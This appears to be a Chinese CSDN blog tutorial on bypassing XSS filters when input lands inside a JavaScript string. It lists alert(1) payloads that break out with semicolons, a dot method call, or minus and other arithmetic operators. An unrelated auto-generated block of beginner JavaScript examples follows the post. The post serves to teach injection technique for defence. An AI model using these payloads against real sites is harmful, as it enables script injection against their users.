““-alert(1)-““执行的简单分析

本文详细探讨了XSS(跨站脚本)漏洞的利用方式,包括通过分号、点号进行闭合的常见思路,以及在分号和点号被过滤时如何利用中划线和其他数学运算符进行代码注入。这些技巧揭示了XSS攻击者如何在不同过滤条件下寻找绕过策略,为安全防护提供了深入的理解。
摘要由CSDN通过智能技术生成

漏洞场景

如下所示的XSS位置,绿色部分表示用户可控

<script>id="xsspoint";</script>

常见思路

最常用的闭合方式就是输入";alert(1);",那么代码就变成如下,

<script>id="";alert(1);"";</script>

也可以输入";alert(1);//,效果一样

<script>id="";alert(1);//";</script>

过滤分号的场景

问题来了,如果过滤了分号怎么办?一种办法是利用点号,取字符的a函数,把要执行的js代码作为入参放在a函数中,即使a函数是不存在函数,js也会先执行其中的入参,payload如下

<script>"".a(alert(1))//";</script>

过滤分号、点号的场景

问题又来了,如果过滤了分号还过滤了点号甚至还过滤了反斜杠咋办?这里介绍一个今天才理解的思路——用中划线

<script>""-alert(1)-”";</script>

中划线就是减号! 也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算~

因此除了减号,其他数学运算符号和位运算符号,也都是阔以的,后面绕过XSS的思路就更多了

<script>""+alert(1)+"";</script>
<script>""/alert(1)/"";</script>
<script>""%alert(1)%"";</script>
<script>""*alert(1)*"";</script>
<script>""^alert(1)^"";</script>
<script>"">>alert(1)>>"";</script>
<script>""<<alert(1)<<"";</script>
<script>""<alert(1)<"";</script>
<script>"">alert(1)>"";</script>
<script>""==alert(1)=="";</script>

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
以下是两个简单的 JavaScript 代码片段: 1. 计数器效果 该代码片段实现了一个简单的计数器效果,点击“增加”按钮可以将计数器的值增加1,点击“减少”按钮可以将计数器的值减少1。代码如下: ``` let count = 0; let countElement = document.querySelector("#count"); function increment() { count++; countElement.innerHTML = count; } function decrement() { count--; countElement.innerHTML = count; } let addButton = document.querySelector("#addButton"); addButton.addEventListener("click", increment); let minusButton = document.querySelector("#minusButton"); minusButton.addEventListener("click", decrement); ``` 该代码片段使用了 DOM 操作,通过获取页面中的元素来实现增加和减少计数器的功能。具体来说,代码中定义了一个变量 `count` 来保存计数器的值,以及一个变量 `countElement` 来获取页面中用于显示计数器值的元素。同时,定义了两个函数 `increment()` 和 `decrement()`,分别用于增加和减少计数器的值,并将值更新到页面中。最后,使用 `addEventListener()` 方法来将增加和减少按钮的点击事件与相应的函数绑定起来。 2. 简单的表单验证 该代码片段实现了一个简单的表单验证功能,当用户提交表单时,会检查表单中的输入是否符合要求。如果输入不符合要求,则会提示用户重新输入。代码如下: ``` let form = document.querySelector("#myForm"); form.addEventListener("submit", function(event) { let nameInput = form.querySelector("#nameInput"); let emailInput = form.querySelector("#emailInput"); if (nameInput.value.trim() === "") { alert("请输入姓名!"); event.preventDefault(); } if (emailInput.value.trim() === "" || !emailInput.value.includes("@")) { alert("请输入有效的邮箱地址!"); event.preventDefault(); } }); ``` 该代码片段使用了表单事件,当用户提交表单时,会触发 `submit` 事件,并执行相应的函数。函数中通过获取表单中的输入元素,并使用 `value` 属性获取输入的值。之后,通过一些简单的判断条件来检查输入是否符合要求,如果不符合,则会弹出提示框,并使用 `event.preventDefault()` 方法阻止表单的提交。 总的来说,这两个代码片段都是非常简单的 JavaScript 示例,但它们都涉及到了常见的 JavaScript 特性和技巧,对于初学者来说是很好的练习素材。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值